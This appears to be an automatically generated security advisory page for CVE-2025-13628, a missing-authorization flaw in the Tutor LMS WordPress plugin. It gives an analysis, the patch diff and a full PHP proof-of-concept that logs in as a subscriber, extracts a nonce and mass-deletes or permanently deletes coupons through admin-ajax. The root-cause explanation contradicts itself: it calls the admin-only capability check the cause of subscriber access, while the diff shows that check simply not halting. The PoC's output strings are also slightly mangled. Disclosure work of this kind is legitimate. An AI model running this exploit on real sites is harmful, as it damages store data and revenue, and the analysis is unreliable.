Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13628: Tutor LMS – eLearning and online course solution <= 3.9.3 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Coupon Modification (tutor)

Plugin tutor
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.9.3
Patched Version 3.9.4
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13628:
This vulnerability is an authenticated missing authorization flaw in the Tutor LMS WordPress plugin. It allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized bulk actions and permanent deletions on arbitrary coupons. The vulnerability affects the plugin’s ecommerce coupon management functionality, with a CVSS score of 4.3.

The root cause lies in the CouponController.php file, specifically in the bulk_action_handler() and coupon_permanent_delete() functions. Both functions performed a nonce check via tutor_utils()->checking_nonce() but lacked proper capability verification. The vulnerable code only checked if the current user had the ‘manage_options’ capability, which is typically reserved for administrators. This insufficient check allowed any authenticated user to pass the nonce verification and execute privileged coupon operations. The functions are accessible via WordPress AJAX endpoints.

Exploitation requires an authenticated attacker with any WordPress user role, including the lowest-privilege subscriber role. The attacker sends a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to either ‘tutor_coupon_bulk_action’ (for bulk_action_handler) or ‘tutor_coupon_permanent_delete’ (for coupon_permanent_delete). The bulk action request includes parameters like ‘bulk_action’ (delete, activate, deactivate, or trash) and ‘bulk_ids’ (an array of coupon IDs). The permanent delete request requires only the ‘id’ parameter containing a single coupon ID. Both requests must include a valid WordPress nonce, which subscribers can obtain from their own dashboard.

The patch replaces the insufficient ‘manage_options’ capability check with a call to tutor_utils()->check_current_user_capability(). This function appears to implement proper role-based authorization for coupon management operations. The patch also includes security improvements in other files, such as adding enrollment checks in Course.php, instructor verification in Quiz.php, and SQL escaping in CouponModel.php. These changes collectively restrict coupon operations to authorized users only.

Successful exploitation allows attackers to delete, activate, deactivate, or trash any coupon in the system. This can disrupt ecommerce operations by removing discount codes, altering pricing structures, or enabling unauthorized discounts. While the vulnerability doesn’t directly lead to privilege escalation or remote code execution, it enables unauthorized data modification with potential financial impact on course sales and revenue.

Differential between vulnerable and patched code

Code Diff
--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -2119,12 +2119,17 @@
 			die( esc_html__( 'Please Sign-In', 'tutor' ) );
 		}

+		if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) {
+			die( esc_html__( 'User is not enrolled in course', 'tutor' ) );
+		}
+
 		/**
 		 * Filter hook provided to restrict course completion. This is useful
 		 * for specific cases like prerequisites. WP_Error should be returned
 		 * from the filter value to prevent the completion.
 		 */
 		$can_complete = apply_filters( 'tutor_user_can_complete_course', true, $user_id, $course_id );
+
 		if ( is_wp_error( $can_complete ) ) {
 			tutor_utils()->redirect_to( $permalink, $can_complete->get_error_message(), 'error' );
 		} else {
@@ -2992,6 +2997,25 @@
 			if ( $password_protected ) {
 				wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
 			}
+
+			/**
+			 * This check was added to address a security issue where users could
+			 * enroll in a course via an AJAX call without purchasing it.
+			 *
+			 * To prevent this, we now verify whether the course is paid.
+			 * Additionally, we check if the user is already enrolled, since
+			 * Tutor's default behavior enrolls users automatically upon purchase.
+			 *
+			 * @since 3.9.4
+			 */
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
+				$is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
+
+				if ( ! $is_enrolled ) {
+					wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
+				}
+			}
+
 			$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
 			if ( $enroll ) {
 				wp_send_json_success( __( 'Enrollment successfully done!', 'tutor' ) );
--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,6 +283,12 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
+
+		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+			wp_send_json_error( tutor_utils()->error_message() );
+		}
+
 		if ( $attempt_info ) {
 			//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 			$unserialized = unserialize( $attempt_details->attempt_info );
--- a/tutor/ecommerce/CouponController.php
+++ b/tutor/ecommerce/CouponController.php
@@ -577,10 +577,7 @@
 	 */
 	public function bulk_action_handler() {
 		tutor_utils()->checking_nonce();
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$request     = Input::sanitize_array( $_POST ); //phpcs:ignore --sanitized already
@@ -630,9 +627,7 @@
 	public function coupon_permanent_delete() {
 		tutor_utils()->checking_nonce();

-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$id = Input::post( 'id', 0, Input::TYPE_INT );
--- a/tutor/ecommerce/OrderController.php
+++ b/tutor/ecommerce/OrderController.php
@@ -84,7 +84,7 @@
 			 *
 			 * @since 3.0.0
 			 */
-			add_action( 'wp_ajax_tutor_order_details', array( $this, 'get_order_by_id' ) );
+			add_action( 'wp_ajax_tutor_order_details', array( $this, 'ajax_get_order_details' ) );

 			/**
 			 * Handle AJAX request for marking an order as paid by order ID.
@@ -258,10 +258,9 @@
 	 *
 	 * @return void
 	 */
-	public function get_order_by_id() {
-		if ( ! tutor_utils()->is_nonce_verified() ) {
-			$this->json_response( tutor_utils()->error_message( 'nonce' ), null, HttpHelper::STATUS_BAD_REQUEST );
-		}
+	public function ajax_get_order_details() {
+		tutor_utils()->check_nonce();
+		tutor_utils()->check_current_user_capability();

 		$order_id = Input::post( 'order_id' );

--- a/tutor/models/CouponModel.php
+++ b/tutor/models/CouponModel.php
@@ -810,7 +810,7 @@
 		} else {
 			$coupon = $this->get_coupon(
 				array(
-					'coupon_code'   => $coupon_code,
+					'coupon_code'   => esc_sql( $coupon_code ),
 					'coupon_status' => self::STATUS_ACTIVE,
 				)
 			);
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.3
+ * Version: 3.9.4
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.3' );
+define( 'TUTOR_VERSION', '3.9.4' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'a5dd7291aa5fa582e64a050945b7ec437a833cc5',
+            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/ecommerce/order-list.php
+++ b/tutor/views/pages/ecommerce/order-list.php
@@ -27,7 +27,7 @@
 $limit        = (int) tutor_utils()->get_option( 'pagination_per_page', 10 );
 $offset       = ( $limit * $paged_filter ) - $limit;

-$order_controller = new OrderController();
+$order_controller = new OrderController( false );

 $get_orders  = $order_controller->get_orders( $limit, $offset );
 $orders      = $get_orders['results'];
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -21,12 +21,18 @@
 $attempt_data = $attempt;
 $user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
 $quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
 if ( ! $attempt ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
 }
 if ( 0 === $quiz_id ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
+	return;
+}
+
+if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+	tutor_utils()->tutor_empty_state();
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13628 - Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Coupon Modification

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and obtain cookies/nonce
function authenticate_wordpress($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    $admin_url = $url . '/wp-admin/';
    
    // Create a cookie jar to maintain session
    $cookie_file = tempnam(sys_get_temp_dir(), 'cookies_');
    
    // Initial GET to retrieve login form nonce (if any)
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Perform login
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
        unlink($cookie_file);
        return false;
    }
    
    // Extract nonce from admin dashboard (nonce is required for AJAX requests)
    $ch = curl_init($admin_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Parse for a nonce (simplified - in reality would need to extract from page)
    preg_match('/"ajaxnonce":"([a-f0-9]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    return ['cookies' => $cookie_file, 'nonce' => $nonce];
}

// Step 2: Exploit bulk action vulnerability
function exploit_bulk_action($url, $session, $coupon_ids = [1, 2, 3]) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $session['cookies'],
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'tutor_coupon_bulk_action',
            'bulk_action' => 'delete',  // Can be: delete, activate, deactivate, trash
            'bulk_ids' => $coupon_ids,
            '_ajax_nonce' => $session['nonce']
        ]),
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Step 3: Exploit permanent delete vulnerability
function exploit_permanent_delete($url, $session, $coupon_id = 1) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init($ajax_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $session['cookies'],
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'tutor_coupon_permanent_delete',
            'id' => $coupon_id,
            '_ajax_nonce' => $session['nonce']
        ]),
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
$session = authenticate_wordpress($target_url, $username, $password);

if ($session) {
    echo "[+] Authentication successfuln";
    echo "[+] Nonce obtained: " . substr($session['nonce'], 0, 8) . "...n";
    
    // Test bulk action vulnerability
    echo "[+] Testing bulk coupon deletion...n";
    $result = exploit_bulk_action($target_url, $session, [1, 2, 3]);
    echo "    HTTP Code: " . $result['code'] . "n";
    echo "    Response: " . $result['response'] . "n";
    
    // Test permanent delete vulnerability
    echo "[+] Testing permanent coupon deletion...n";
    $result = exploit_permanent_delete($target_url, $session, 1);
    echo "    HTTP Code: " . $result['code'] . "n";
    echo "    Response: " . $result['response'] . "n";
    
    // Cleanup
    unlink($session['cookies']);
} else {
    echo "[-] Authentication failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School